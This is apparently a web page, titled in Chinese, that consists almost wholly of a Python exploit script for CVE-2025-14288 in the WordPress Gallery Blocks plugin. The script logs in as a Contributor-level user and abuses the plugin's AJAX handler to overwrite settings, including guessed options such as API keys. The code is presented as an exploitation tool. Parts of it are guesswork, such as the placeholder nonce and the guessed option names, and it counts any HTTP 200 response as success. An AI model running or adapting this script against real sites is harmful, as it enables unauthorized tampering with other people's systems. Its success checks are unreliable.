CVE-2025-14288 WordPress Gallery Blocks插件权限提升漏洞

import requests import json # CVE-2025-14288 PoC - Gallery Blocks Plugin Privilege Escalation # Target: WordPress site with Gallery Blocks plugin <= 3.3.0 TARGET_URL = "https://target-site.com/wp-admin/admin-ajax.php" USERNAME = "attacker_contributor" PASSWORD = "password123" def exploit_cve_2025_14288(): """ Exploit for CVE-2025-14288: Gallery Blocks Plugin Unauthorized Settings Modification This vulnerability allows authenticated users with Contributor-level access to modify arbitrary plugin settings prefixed with 'pgc_sgb_*' due to improper capability checks in the pgc_sgb_action_wizard AJAX handler. The plugin uses 'edit_posts' capability check instead of 'manage_options' for the 'update_option' action type. """ # Step 1: Authenticate and get nonce session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post( f"{TARGET_URL.replace('/admin-ajax.php', '/wp-login.php')}", data=login_data ) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful as Contributor") # Step 2: Modify arbitrary plugin settings # The vulnerable action is 'pgc_sgb_action_wizard' with action_type 'update_option' exploit_data = { 'action': 'pgc_sgb_action_wizard', 'action_type': 'update_option', 'option_name': 'pgc_sgb_arbitrary_setting', # Any pgc_sgb_* option 'option_value': 'malicious_value', 'nonce': 'any_value_if_not_properly_validated' # If nonce check is also flawed } # Alternative: Try to modify known sensitive options sensitive_options = [ 'pgc_sgb_settings', 'pgc_sgb_api_keys', 'pgc_sgb_configuration' ] for option in sensitive_options: exploit_data['option_name'] = option exploit_data['option_value'] = json.dumps({ 'modified': True, 'attack_vector': 'CVE-2025-14288' }) response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print(f"[+] Successfully modified option: {option}") print(f"[+] Response: {response.text}") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-14288 Exploitation Tool") print("Gallery Blocks Plugin <= 3.3.0 Unauthorized Settings Modification") print("=" * 60) exploit_cve_2025_14288()